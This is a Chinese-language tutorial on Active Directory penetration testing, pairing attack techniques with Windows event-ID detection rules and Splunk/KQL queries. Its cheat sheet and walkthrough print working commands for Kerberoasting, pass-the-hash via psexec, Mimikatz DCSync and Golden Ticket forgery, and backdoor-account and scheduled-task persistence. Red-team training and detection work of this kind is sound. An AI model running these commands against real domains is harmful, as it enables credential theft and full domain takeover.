域渗透测试:从信息收集到横向移动的完整实战路径

域渗透测试:从信息收集到横向移动的完整实战路径 摘要本文系统梳理域渗透测试的完整攻击链路围绕 Active Directory 域环境中的信任关系、Kerberos 与 NTLM 认证机制展开覆盖信息收集、凭证攻击、提权、横向移动、域控制器接管及持久化等关键环节。文章同步给出检测事件 ID、SIEM 排查思路与防御加固建议适合安全测试人员、红队工程师及企业蓝队防护人员阅读。通过理论结合授权环境下的实战演练帮助读者理解攻击路径的形成逻辑并建立从检测到响应的体系化防护能力。目录1. 什么是域渗透测试2. 域环境核心概念2.1 Active Directory 与域信任2.2 Kerberos 认证协议2.3 NTLM 认证3. 信息收集与域环境枚举3.1 确认当前主机与域身份3.2 枚举域用户、组和计算机3.3 定位域控制器与网段结构4. 常见凭证攻击手法4.1 Kerberoasting4.2 AS-REP Roasting4.3 Pass the Hash哈希传递4.4 Pass the Ticket 与 Overpass the Hash4.5 五种凭证攻击手法对比5. 提权与横向移动5.1 本地提权5.2 横向移动6. 域控制器攻击与持久化6.1 DCSync6.2 Golden Ticket 与 Silver Ticket6.3 持久化7. 检测与防御建议7.1 关键事件 ID 与攻击手法对照7.2 Kerberoasting 检测事件 ID 47697.3 DCSync 检测事件 ID 46627.4 Golden Ticket 与 Silver Ticket 检测7.5 凭证传递类攻击检测7.6 持久化检测7.7 检测与加固结合建议域渗透常用工具速查表实战演练从普通域用户到域控制器接管1. 使用 BloodHound 发现提权路径2. 利用 Kerberoasting 获取服务账号哈希3. 通过哈希传递横向移动4. 使用 DCSync 提取 krbtgt 哈希5. 伪造 Golden Ticket8. 总结1. 什么是域渗透测试域渗透测试是指以 Windows Active DirectoryAD域环境为目标模拟攻击者从初始立足点开始逐步完成信息收集、凭证窃取、权限提升、横向移动最终控制域控制器的完整安全评估过程。与单机渗透不同域渗透的核心在于理解域环境中的信任关系、认证协议以及组策略等基础设施并利用配置缺陷和默认行为扩大攻击面。一个典型的域渗透测试通常包含以下阶段初始接入、域环境枚举、凭证获取、权限提升、横向移动、域控制器接管、持久化与痕迹清理。每个阶段都有对应的攻击手法和检测指标下文将按这条主线展开。2. 域环境核心概念在进入具体的攻击手法之前需要先理解几个关键概念它们构成了后续所有攻击链路的基础。2.1 Active Directory 与域信任Active Directory 是 Windows 网络中的目录服务负责管理用户、计算机、组和策略。域内的所有对象都存储在域控制器的 NTDS.dit 数据库中域与域之间可以通过信任关系实现资源的跨域访问。攻击者一旦获得域内高权限账号往往可以借助信任关系进一步扩展控制范围。2.2 Kerberos 认证协议Kerberos 是域环境默认使用的认证协议其核心流程包括客户端向密钥分发中心KDC请求票据授予票据TGT再凭 TGT 申请访问特定服务的服务票据ST。Kerberos 的票据机制既是域认证的基石也是大量攻击手法的切入点例如 Kerberoasting、Golden Ticket 和 Silver Ticket。2.3 NTLM 认证NTLM 是 Kerberos 之外的另一套认证机制广泛存在于旧系统、非域加入设备和部分网络共享访问中。由于 NTLM 使用密码哈希进行挑战应答认证攻击者一旦拿到哈希即使无法破解明文也可以直接用于哈希传递攻击。3. 信息收集与域环境枚举获得初始接入后第一步是摸清当前主机身份、所处网段以及域的基本结构。高效的信息收集能够帮助攻击者找到最有价值的攻击路径。3.1 确认当前主机与域身份可以使用以下命令快速判断当前主机是否加入域以及当前登录用户和操作系统版本等信息。whoami systeminfo | findstr /B /C:OS Name /C:OS Version /C:Domain net config workstation echo %USERDOMAIN%其中net config workstation可以显示工作站所属的域echo %USERDOMAIN%则直接输出当前登录用户所在的登录域。3.2 枚举域用户、组和计算机如果当前账号具备查询域目录的权限可以通过 Windows 自带的 net 命令或 PowerShell 的 ActiveDirectory 模块枚举域对象也可以使用 BloodHound 等工具进行关系分析。net user /domain net group /domain net group Domain Admins /domain net group Domain Controllers /domain nltest /dclist:domainBloodHound 是域渗透中常用的路径分析工具它能够将域内的用户、计算机、组、ACL 和会话关系可视化帮助测试人员发现隐蔽的提权路径和横向移动目标。先使用采集器收集数据再导入 Neo4j 进行分析。3.3 定位域控制器与网段结构域控制器的 IP 通常是后续攻击的核心目标可以通过 DNS 查询和端口扫描快速定位。nslookup domain nslookup -typeSRV _ldap._tcp.dc._msdcs.domain nmap -p 53,88,135,139,389,445,636 targetKerberos 默认使用 88 端口LDAP 使用 389 端口SMB 使用 445 端口。识别这些开放端口有助于确认目标主机是否运行域控制器相关服务。4. 常见凭证攻击手法域渗透中最常见的目标是获取合法凭证或可用的认证材料。以下是几种典型的手法和适用场景。4.1 KerberoastingKerberoasting 攻击的对象是运行服务主体名称SPN的服务账号。攻击者向 KDC 请求这些服务账号的服务票据票据使用服务账号的 NTLM 哈希加密因此可以离线爆破弱口令。# 使用 PowerShell 请求服务票据 Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList MSSQLSvc/sql01.domain.local:1433获取票据后可以使用 tgsrepcrack.py 等工具结合字典进行离线破解。防御上应注意服务账号使用强且随机的密码并定期轮换。4.2 AS-REP Roasting对于未启用 Kerberos 预认证的用户账号攻击者无需提供正确密码即可向其 KDC 请求 AS-REP 响应该响应中的加密部分使用用户密码哈希派生密钥加密同样可以离线爆破。# 使用 Impacket 的 GetNPUsers 枚举无需预认证的账号 GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip dc_ip -no-pass防御措施是确保所有用户账号启用 Kerberos 预认证并重点关注高权限账号。4.3 Pass the Hash哈希传递哈希传递并不破解密码而是直接使用 NTLM 哈希完成 NTLM 认证。只要目标账号的哈希未被更改且具备相应权限攻击者就可以在拥有该哈希的主机上实现横向移动或提权。# 使用 Impacket 的 psexec 进行哈希传递 psexec.py domain.local/administratortarget -hashes :NTLM_HASH缓解哈希传递的关键在于启用 Credential Guard、限制本地管理员账户在各主机上的复用以及严格执行最小权限原则。4.4 Pass the Ticket 与 Overpass the HashPass the Ticket 是将已获取的 Kerberos 票据注入当前会话从而以票据所有者的身份访问资源。Overpass the Hash 则是先用 NTLM 哈希向 KDC 请求合法 TGT再凭 TGT 参与 Kerberos 认证。二者的差异在于一个是直接使用现有票据一个是临场生成新的票据。# 使用 Mimikatz 进行哈希转票据 sekurlsa::pth /user:admin /domain:domain.local /ntlm:NTLM_HASH这类攻击的常见检测思路是监控异常登录事件例如同一账号短时间内从不同主机登录或登录过程中出现可疑的认证类型变化。4.5 五种凭证攻击手法对比为便于快速区分下面从攻击目标、所需条件、利用方式、检测要点和防御措施五个维度对常见凭证攻击手法进行对比。攻击手法攻击目标所需条件利用方式检测要点防御措施Kerberoasting配置 SPN 的服务账号普通域用户可向 KDC 请求服务票据请求 SPN 服务票据并导出离线爆破服务账号密码哈希事件 ID 4769同账号短时间请求大量 SPNRC4 加密类型服务账号使用强随机密码并定期轮换限制 SPN 枚举和请求基线AS-REP Roasting未启用 Kerberos 预认证的用户账号目标账号关闭预认证攻击者无需提供密码请求 AS-REP 响应离线爆破加密的用户密码哈希事件 ID 4768、4771预认证失败异常增多确保所有用户账号启用 Kerberos 预认证Pass the Hash目标账号可访问的主机或服务已获取目标账号的 NTLM 哈希直接使用 NTLM 哈希完成 NTLM 认证无需破解明文事件 ID 4624、4625登录类型 3 且认证包为 NTLM 的跨主机异常登录启用 Credential Guard限制本地管理员账号跨主机复用执行最小权限Pass the Ticket目标账号可访问的 Kerberos 服务资源已获取合法 Kerberos 票据将已获取的票据注入当前会话以票据所有者身份访问资源事件 ID 4768、4769同一账号短时间多主机登录、认证类型或票据属性异常限制票据生存周期监控异常票据使用执行最小权限Overpass the Hash域内 Kerberos 认证体系及目标资源已获取目标账号的 NTLM 哈希用 NTLM 哈希向 KDC 请求合法 TGT再凭 TGT 访问资源事件 ID 4768哈希认证后出现异常 TGT 请求或认证协议切换启用 Credential Guard降低哈希暴露面监控认证协议变化5. 提权与横向移动获得普通域用户权限后攻击者的目标是提升到本地管理员甚至域管理员权限并在内网中向更多主机移动。5.1 本地提权本地提权的路径高度依赖目标主机的补丁情况和错误配置常见方向包括服务权限配置错误、计划任务、AlwaysInstallElevated 策略以及内核漏洞。测试时可以先搜集系统补丁信息评估是否存在已知提权漏洞。whoami /priv wmic qfe list brief whoami /groups输出中的SeImpersonatePrivilege、SeDebugPrivilege等特权往往意味着存在可利用的提权机会。5.2 横向移动横向移动的目标是从当前已经控制的主机进一步获取其他主机权限常用的技术包括远程服务、计划任务、WMI 和 SMB 共享。# 使用 WMI 执行远程命令 wmic /node:target /user:domain.local\admin process call create cmd.exe /c whoami C:\temp\whoami.txt在横向移动过程中DCOM 和 SMB 是高频利用的内网协议。测试人员通常会结合已获取的凭证列表和 BloodHound 分析出的会话关系选择最短的移动路径。6. 域控制器攻击与持久化当攻击者获得足够的权限后最终目标是控制域控制器并建立长期访问能力。6.1 DCSyncDCSync 通过模拟域控制器向 DC 发起复制请求从而提取任意账号的密码哈希包括 krbtgt 账号。该攻击的核心在于攻击者具备域复制权限例如属于 Domain Admins 或 Enterprise Admins 组。# 使用 Mimikatz 执行 DCSync 提取 krbtgt 哈希 lsadump::dcsync /domain:domain.local /user:krbtgtDCSync 的检测重点在于识别非域控制器发起的目录复制流量以及异常的高权限账号访问行为。6.2 Golden Ticket 与 Silver TicketGolden Ticket 使用 krbtgt 账号的哈希伪造任意用户的 TGT实现对整个域的任意资源访问。Silver Ticket 则使用特定服务账号的哈希伪造针对该服务的服务票据影响范围相对集中。# 使用 Mimikatz 生成 Golden Ticket 的核心参数示例描述 # 需要 krbtgt 哈希、域 SID 和伪造的用户名Golden Ticket 的防御非常依赖 krbtgt 密码的定期轮换。需要注意的是krbtgt 密码在一次轮换后旧票根仍需经过第二次轮换才会完全失效。6.3 持久化持久化的目标是即使当前会话被终止攻击者仍能重新获得访问权限。常见技术包括创建后门账号、注册计划任务、修改注册表自动启动项以及滥用组策略对象GPO。net user backdoor Passw0rd! /add net localgroup administrators backdoor /add schtasks /create /tn UpdateTask /tr cmd.exe /c powershell -ep bypass /sc onstart /ru SYSTEM从防御角度看应监控新建高权限账号、计划任务修改和 GPO 变更等敏感操作并与正常的运维变更流程进行对照。7. 检测与防御建议了解攻击手法之后站在防守方视角建立检测和加固体系同样重要。除常规加固外防守方应将检测要求落到关键 Windows 安全事件 ID 和 SIEM 规则上形成可告警、可排查的检测闭环。7.1 关键事件 ID 与攻击手法对照下表汇总了本文涉及的主要攻击手法与对应的核心检测事件 ID。实际操作时应结合账号基线、加密类型和时间窗口避免只依赖单条事件进行判断。攻击手法关键事件 ID核心检测点Kerberoasting4769用户大量请求 SPN 服务票据且票据加密类型为 RC4AS-REP Roasting4768、4771针对未启用预认证账号反复请求 TGT预认证失败异常增多Pass the Hash4624、4625NTLM 网络登录登录类型 3异常凭证跨主机复用Pass the Ticket / Overpass the Hash4768、4769票据加密类型异常、同一账号短时间多主机登录DCSync4662非域控制器账号对域复制对象发起目录访问操作Golden Ticket / Silver Ticket4768、4769krbtgt 票据生存周期异常、加密类型降级、账号或 SID 异常后门账号与权限组变更4720、4728、4732、4735、4698非变更窗口新建用户、加入高权限组、创建计划任务7.2 Kerberoasting 检测事件 ID 4769检测原理Kerberoasting 会向 KDC 批量请求服务票据Windows 安全日志会记录事件 ID 4769Kerberos 服务票据请求。攻击者为了离线爆破通常会选择或迫使票据使用 RC4 加密类型而正常应用访问不会在同账号下短时间内高频请求大量服务账号 SPN。排查步骤在域控制器的安全日志中筛选事件 ID 4769。关注Ticket Encryption Type字段重点排查 RC40x17加密类型。按Account Name和Service Name聚合找出短时间内请求多个不同 SPN 的非服务账号。与正常业务基线对比确认是否属于运维脚本或真实应用访问。对命中异常行为的账号启动凭证重置和主机隔离并回溯同一账号的其他认证事件。Splunk 查询示例indexwindows sourceSecurity EventCode4769 | stats count by Account_Name, ServiceName, TicketEncryptionType, host | where TicketEncryptionType0x17 | sort - countAzure SentinelKQL查询示例SecurityEvent | where EventID 4769 | where TicketEncryptionType 0x17 | project TimeGenerated, Computer, Account, ServiceName, TicketEncryptionType7.3 DCSync 检测事件 ID 4662检测原理DCSync 从非域控制器向 DC 发起目录复制请求。可在域对象上启用目录服务访问审计SACL当执行复制对象操作时记录事件 ID 4662。需要重点识别的访问权限包括复制目录更改、复制目录更改全部以及复制目录更改在筛选集。只有域控制器之间才应出现此类复制访问非 DC 账号触发的 4662 需要格外警惕。排查步骤先在域控制器上启用「目录服务访问」审计并为基础域对象配置 SACL。筛选事件 ID 4662并过滤对象为 DRS 复制相关权限。查看事件中的Account Name、ComputerName及Access Mask或Properties。排除已知域控制器之间的正常复制流量源计算机应为 DC 自身或其他域控制器。对非 DC 来源的复制访问立即产生高危告警并核查账号权限是否被异常授予。Splunk 查询示例indexwindows sourceSecurity EventCode4662 | search 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 OR 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 OR 89e95b76-444d-4c62-991a-0facbeda640c | table _time, Account_Name, ComputerName, ObjectName, AccessMaskAzure SentinelKQL查询示例SecurityEvent | where EventID 4662 | where Properties has 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 or Properties has 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 | project TimeGenerated, Computer, Account, ObjectName, Properties7.4 Golden Ticket 与 Silver Ticket 检测检测原理Golden Ticket 使用 krbtgt 哈希伪造 TGTSilver Ticket 使用服务账号哈希伪造服务票据。伪造票据通常造成票据有效期、加密类型与 PAC 信息异常。例如环境已禁用 RC4 时仍出现 RC4 加密的 krbtgt 票据TGT 生存周期明显超过默认上限票据中的用户名或 SID 与域内真实对象不符以及出现没有对应预认证的认证行为。排查步骤筛选事件 ID 4768TGT 请求与 4769服务票据请求。检查Ticket Encryption Type关注异常使用 RC4 的 krbtgt 或服务票据。检查 TGT 的时间戳、Renew Until和账号属性识别明显大于默认生存周期的情况。查找在域中不存在或已被删除的账号、异常的 SID 或Workstation字段。当检测到 krbtgt 密码轮换后仍出现旧票据时应再次轮换 krbtgt 密码并排查域内信任链路。检测异常 RC4 加密的服务票据Splunk 示例indexwindows sourceSecurity EventCode4769 | search TicketEncryptionType0x17 | stats count by Account_Name, ServiceName, host | where count 20Azure SentinelKQL查询示例SecurityEvent | where EventID in (4768, 4769) | where TicketEncryptionType in (0x17, 0x12) | summarize EventCount count() by Account, Computer, ServiceName, TicketEncryptionType | where EventCount 207.5 凭证传递类攻击检测Pass the Hash、Pass the Ticket、Overpass the Hash 以及 AS-REP Roasting 的共同特征是认证行为与账号基线不符建议从登录类型、认证协议和票据加密类型三个维度联合检测而不是只依赖单条事件。Pass the Hash 检测关注事件 ID 4624/4625 中登录类型为 3 且认证包为 NTLM 的记录排查同一账号在多个不同主机间出现的异常登录序列。Splunk 查询示例indexwindows sourceSecurity EventCode4624 | search LogonType3 AuthenticationPackageNTLM | stats count by Account_Name, Source_Workstation, ComputerName | sort - countAS-REP Roasting 检测关注事件 ID 4768 中未启用预认证的账号以及事件 ID 4771 中反复出现的预认证失败异常增多的预认证失败往往意味着账号正被枚举或轰炸。Splunk 查询示例indexwindows sourceSecurity EventCode4771 | stats count by Account_Name, Type, host | where Type14 | sort - countPass the Ticket / Overpass the Hash 检测关注事件 ID 4768/4769 中票据加密类型突变、同一账号短时间内从多台主机发起认证以及Workstation字段与账号历史行为不一致的情况。可与基线表进行关联比较对首次出现的主机、加密类型和异常时间窗设置告警。7.6 持久化检测域环境常见的持久化手段通常会触发以下敏感事件可将它们接入 SIEM 并配合变更窗口判断4720创建用户账户重点关注创建后加入高权限组。4728 / 4732 / 4735用户加入安全启用组、本地安全组或受保护组重点关注 Domain Admins、Schema Admins、Enterprise Admins。4698创建计划任务结合目标主机是否为域控制器或关键业务服务器。5136修改目录对象常用于 GPO 篡改或 ACL 修改。排查步骤在 SIEM 中筛选上述事件 ID并将时间与变更管理窗口进行比对。检查新增账号的名称、描述、组归属和登录时间是否异常。检查计划任务对应的命令、执行账户和运行频率是否存在可疑内容。对发生在域控制器或高价值主机上的对象修改进行复核。7.7 检测与加固结合建议仅靠单条事件容易产生误报建议将事件 ID 检测与以下基线防护结合起来使用凭证管理服务账号使用长且随机的密码定期轮换 krbtgt 密码限制管理员账号在多主机上的复用。权限收敛严格执行最小权限原则定期审计 Domain Admins、Enterprise Admins 等高权限组的成员。日志采集集中采集安全日志重点关注 Kerberos 认证、目录复制访问、特权登录、计划任务和 GPO 变更事件。补丁管理及时修复域控制器和成员主机的已知漏洞降低本地提权风险。主动检测结合 SIEM 和威胁狩猎识别异常登录时间、非域控制器的复制请求以及异常的票据使用行为。防守方只有把事件 ID 检测、账号基线和变更管理三者联动才能在攻击链路早期阶段捕捉到凭证攻击与域控制器接管的前兆。域渗透常用工具速查表进入实战演练前先按信息收集、凭证攻击、横向移动、域控制器攻击四类整理常用工具便于后续操作时快速对照。以下命令仅用于已获得授权的安全测试环境。分类工具名称核心用途典型命令示例适用阶段信息收集SharpHound采集域内 ACL、会话、组成员、SPN、信任关系等数据为 BloodHound 分析提供原始数据SharpHound.exe -c All --ZipFileName bloodhound.zip信息收集、数据采集信息收集BloodHound可视化分析域关系查询从当前用户到高价值目标的最短攻击路径bloodhound导入 SharpHound 输出的 zip 后查询路径信息收集、攻击路径分析信息收集nmap识别域控制器和关键服务端口辅助判断目标主机角色与内网拓扑nmap -p 53,88,135,139,389,445,636 target信息收集、资产与服务发现凭证攻击ImpacketGetUserSPNs.py / GetNPUsers.py执行 Kerberoasting、AS-REP Roasting获取并导出可离线爆破的票据或哈希GetUserSPNs.py domain.local/user01:Password123 -dc-ip 10.10.10.2 -request凭证获取、哈希提取凭证攻击hashcat对 Kerberos 票据哈希或密码哈希进行离线爆破恢复明文凭证及对应 NTLM 哈希hashcat -m 13100 svc_sql.hash rockyou.txt --force凭证获取、密码离线破解凭证攻击Mimikatz从内存提取明文密码、NTLM 哈希和 Kerberos 票据也可将哈希转换为可传递票据sekurlsa::pth /user:admin /domain:domain.local /ntlm:NTLM_HASH凭证获取、哈希与票据利用横向移动Impacketpsexec.py / wmiexec.py通过 SMB 或 WMI 远程执行命令结合 NTLM 哈希实现传递登录与横向移动psexec.py domain.local/svc_sql10.10.10.20 -hashes :NT_HASH横向移动、远程命令执行横向移动Windows wmic利用 WMI 在域内主机间执行远程命令验证目标主机权限并完成横向移动wmic /node:target /user:domain.local\admin process call create cmd.exe /c whoami横向移动、远程执行验证域控制器攻击Mimikatzlsadump::dcsync模拟域控制器发起目录复制请求提取 krbtgt 等高价值账号哈希及域 SIDlsadump::dcsync /domain:domain.local /user:krbtgt域控制器攻击、凭据提取域控制器攻击Mimikatzkerberos::golden使用 krbtgt 哈希和域 SID 伪造 Golden Ticket 并注入会话获取对域的任意资源访问能力kerberos::golden /user:fakeadmin /domain:domain.local /sid:DOMAIN_SID /krbtgt:KRBTGT_HASH /ptt域控制器接管、权限持久化实战演练从普通域用户到域控制器接管flowchart LR A[普通域用户 user01] -- B[BloodHound 发现提权路径] B -- C[Kerberoasting 获取服务账号凭证] C -- D[哈希传递横向移动] D -- E[DCSync 提取 krbtgt 哈希] E -- F[伪造 Golden Ticket] F -- G[接管域控制器]上图展示了本节演练的完整攻击链。首先BloodHound 通过分析 ACL、会话和 SPN 关系帮助攻击者从普通域用户 user01 定位到存在 Kerberoasting 条件的 svc_sql 服务账号随后利用 Kerberoasting 离线破解服务账号哈希为下一阶段提供可用的 NTLM 凭证。拿到 svc_sql 哈希后攻击者通过哈希传递在具备该账号会话或本地管理员权限的主机上完成横向移动进一步扩大控制范围。当权限提升到具备域复制能力时使用 DCSync 从域控制器提取 krbtgt 账号哈希及域 SID。最后利用 krbtgt 哈希伪造 Golden Ticket 并注入会话从而实现对域资源的任意访问完成从普通域用户到域控制器接管的完整闭环。本节用一个简化攻击链示例串联前面介绍的关键手法先借助 BloodHound 梳理攻击路径再通过 Kerberoasting 获取服务账号凭证随后利用哈希传递完成横向移动最终使用 DCSync 提取 krbtgt 哈希并伪造 Golden Ticket。以下流程仅适用于已获得授权的安全测试环境。1. 使用 BloodHound 发现提权路径假设攻击者已控制普通域用户 user01 的会话。先使用 SharpHound 收集域内 ACL、会话、组关系和 SPN 等信息。SharpHound.exe -c All --ZipFileName bloodhound.zip将 bloodhound.zip 导入 BloodHound 后可查询从 user01 到高价值目标的路径。一个简化的分析结果可能如下user01domain.local - MemberOf: SUPPORT_GROUP - GenericAll on SQL01.DOMAIN.LOCAL - SQL01 has session: svc_sql - svc_sql has SPN: MSSQLSvc/sql01.domain.local:1433这条路径说明 user01 对 SQL01 拥有 GenericAll 权限而 SQL01 上存在 svc_sql 账号的登录会话同时 svc_sql 配置了 SPN适合发起 Kerberoasting。2. 利用 Kerberoasting 获取服务账号哈希向 KDC 请求 svc_sql 的 SPN 服务票据并将票据导出后离线爆破。Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList MSSQLSvc/sql01.domain.local:1433 mimikatz # kerberos::list /export也可以使用 Impacket 直接请求并输出可爆破的票据GetUserSPNs.py domain.local/user01:Password123 -dc-ip 10.10.10.2 -request预期输出中会包含 svc_sql 的 Kerberos 5 TGS-REP 票据。将其转换为 hashcat 支持的格式后执行离线爆破hashcat -m 13100 svc_sql.hash rockyou.txt --force如果服务账号使用弱密码可恢复出明文例如 svc_sql / Summer2026!同时得到对应的 NTLM 哈希为后续哈希传递提供凭证。3. 通过哈希传递横向移动使用破获的 svc_sql NTLM 哈希通过 SMB 向存在该账号会话或本地管理员权限的主机横向移动。psexec.py domain.local/svc_sql10.10.10.20 -hashes :aad3b435b51404eeaad3b435b51404ee:NT_HASH若目标主机允许该账号远程登录且 svc_sql 具有本地管理员权限命令会返回一个 SYSTEM 权限的交互式会话[*] Requesting shares on 10.10.10.20..... [*] Found writable share: ADMIN$ [*] Uploading file ... [] Established service connection on 10.10.10.20 C:\Windows\system32 whoami nt authority\system4. 使用 DCSync 提取 krbtgt 哈希继续沿 BloodHound 发现的路径扩大权限。假设 svc_sql 可进一步获取域复制权限则可在高权限上下文中执行 DCSync从域控制器复制 krbtgt 账号哈希。lsadump::dcsync /domain:domain.local /user:krbtgt预期输出示例[DC] domain.local will be the domain [Replica] DC01.domain.local will be replication partner Object RDN : krbtgt SAM Account Name : krbtgt Hash NTLM: 50227c3b2d0a5b0d7e1673d4c3c46c6b Domain SID: S-1-5-21-1122334455-6677889900-12345678905. 伪造 Golden Ticket拿到 krbtgt 哈希和域 SID 后伪造一个任意用户的 TGT 并注入当前会话。kerberos::golden /user:fakeadmin /domain:domain.local /sid:S-1-5-21-1122334455-6677889900-1234567890 /krbtgt:50227c3b2d0a5b0d7e1673d4c3c46c6b /pttMimikatz 输出 Golden Ticket 生成并注入成功的信息。此时再访问域控制器共享即可验证接管效果dir \\DC01.domain.local\C$至此攻击者完成从普通域用户到域控制器接管的完整链路。该示例也说明单一凭证问题或权限配置不当可能在攻击链中被逐步放大。8. 总结域渗透测试的核心不是孤立地利用某个漏洞而是理解域环境中的信任关系、认证流程和权限传递机制并沿着攻击链逐步扩大控制范围。从信息收集、凭证攻击到横向移动和域控制器接管每一步都对应着明确的检测指标和加固措施。对于防守方而言只有把单点防护升级为覆盖认证、权限、日志和配置的体系化防御才能有效压缩攻击者的活动空间。在实际项目中建议在获得授权的前提下优先以 BloodHound 等工具梳理域的权限关系再结合本文提到的手法验证真实风险。安全测试的目的始终是发现并修复问题而不是破坏业务。